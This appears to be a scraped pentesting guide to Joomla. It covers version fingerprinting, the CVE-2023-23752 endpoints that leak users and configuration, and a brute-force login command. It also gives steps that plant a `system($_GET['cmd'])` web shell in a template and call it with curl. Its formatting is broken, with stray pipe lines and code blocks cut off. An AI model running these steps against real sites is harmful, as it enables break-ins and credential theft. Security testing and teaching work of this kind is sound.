### Joomla Statistics
|
|
|
|
Joomla collects some anonymous [usage statistics](https://developer.joomla.org/about/stats.html) such as the breakdown of Joomla, PHP and database versions and server operating systems in use on Joomla installations. This data can be queried via their public [API](https://developer.joomla.org/about/stats/api.html).
|
|
|
|
```bash
|
|
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
|
|
|
{
|
|
"data": {
|
|
"cms_version": {
|
|
"3.0": 0,
|
|
"3.1": 0,
|
|
"3.10": 6.33,
|
|
"3.2": 0.01,
|
|
"3.3": 0.02,
|
|
"3.4": 0.05,
|
|
"3.5": 12.24,
|
|
"3.6": 22.85,
|
|
"3.7": 7.99,
|
|
"3.8": 17.72,
|
|
"3.9": 27.24,
|
|
"4.0": 3.21,
|
|
"4.1": 1.53,
|
|
"4.2": 0.82,
|
|
"4.3": 0,
|
|
"5.0": 0

|
### Discovery/Footprinting
|
|
|
|
- Check the **meta**
|
|
|
|
```bash
|
|
curl https://www.joomla.org/ | grep Joomla | grep generator
|
|
|
|
<meta name="generator" content="Joomla! - Open Source Content Management" />
|
|
```
|
|
|
|
- robots.txt
|
|
|
|
```
|
|
# If the Joomla site is installed within a folder
|
|
# eg www.example.com/joomla/ then the robots.txt file
|
|
# MUST be moved to the site root
|
|
# eg www.example.com/robots.txt
|
|
# AND the joomla folder name MUST be prefixed to all of the
|
|
# paths.
|
|

|
|
|
|
### Version
|
|
|
|
- In **/administrator/manifests/files/joomla.xml** you can see the version.
|
|
- In **/language/en-GB/en-GB.xml** you can get the version of Joomla.
|
|
- In **plugins/system/cache/cache.xml** you can see an approximate version.
|
|
|
|
### Automatic
|
|
|
|
```bash
|
|
droopescan scan joomla --url http://joomla-site.local/
|
|
```
|
|
|
|
In[ **80,443 - Pentesting Web Methodology is a section about CMS scanners**](#cms-scanners) that can scan Joomla.
|
|
|
|
### API Unauthenticated Information Disclosure:
|
|
|
|
Versions From 4.0.0 to 4.2.7 are vulnerable to Unauthenticated information disclosure (CVE-2023-23752) that will dump creds and other information.
|
|
|
|
- Users: `http://<host>/api/v1/users?public=true`
|
|
- Config File: `http://<host>/api/index.php/v1/config/application?public=true`
|
|
|
|
**MSF Module**: `scanner/http/joomla_api_improper_access_checks` or ruby script: [51334](https://www.exploit-db.com/exploits/51334)
|
|
|
|
### Brute-Force
|
|
|
|
You can use this [script](https://github.com/ajnik/joomla-bruteforce) to attempt to brute force the login.
|
|
|
|
```shell-session
|
|
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
|
|
|
|
admin:admin
|
|
```
|
|
|
|
## RCE
|
|
|
|
If you managed to get **admin credentials** you can **RCE inside of it** by adding a snippet of **PHP code** to gain **RCE**. We can do this by **customizing** a **template**.
|
|
|
|
1. **Click** on **`Templates`** on the bottom left under `Configuration` to pull up the templates menu.
|
|
2. **Click** on a **template** name. Let's choose **`protostar`** under the `Template` column header. This will bring us to the **`Templates: Customise`** page.
|
|
3. Finally, you can click on a page to pull up the **page source**. Let's choose the **`error.php`** page. We'll add a **PHP one-liner to gain code execution** as follows:
|
|
1. **`system($_GET['cmd']);`**
|
|
4. **Save & Close**
|
|
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
|
|
|
|
## From XSS to RCE
|
|
|
|
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla Exploitation Script that **elevate XSS to RCE or Others Critical Vulnerabilities**. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Joomla Versions 5.X.X, 4.X.X, and 3.X.X, and allows to:**
|
|
- _**Privilege Escalation:**_ Creates an user in Joomla.
|
|
- _**(RCE) Built-In Templates Edit:**_ Edit a Built-In Templates in Joomla.
|
|
- _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party Joomla Plugins.
